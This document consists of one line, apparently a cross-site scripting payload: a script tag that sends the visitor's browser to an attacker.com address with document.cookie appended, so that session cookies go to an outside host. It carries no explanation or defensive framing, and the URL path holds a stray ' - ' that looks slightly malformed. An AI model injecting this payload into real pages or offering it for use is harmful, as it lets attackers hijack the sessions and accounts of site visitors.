<script>document.location='http://attacker.com/steal - cookie.php?cookie='+document.cookie;</script>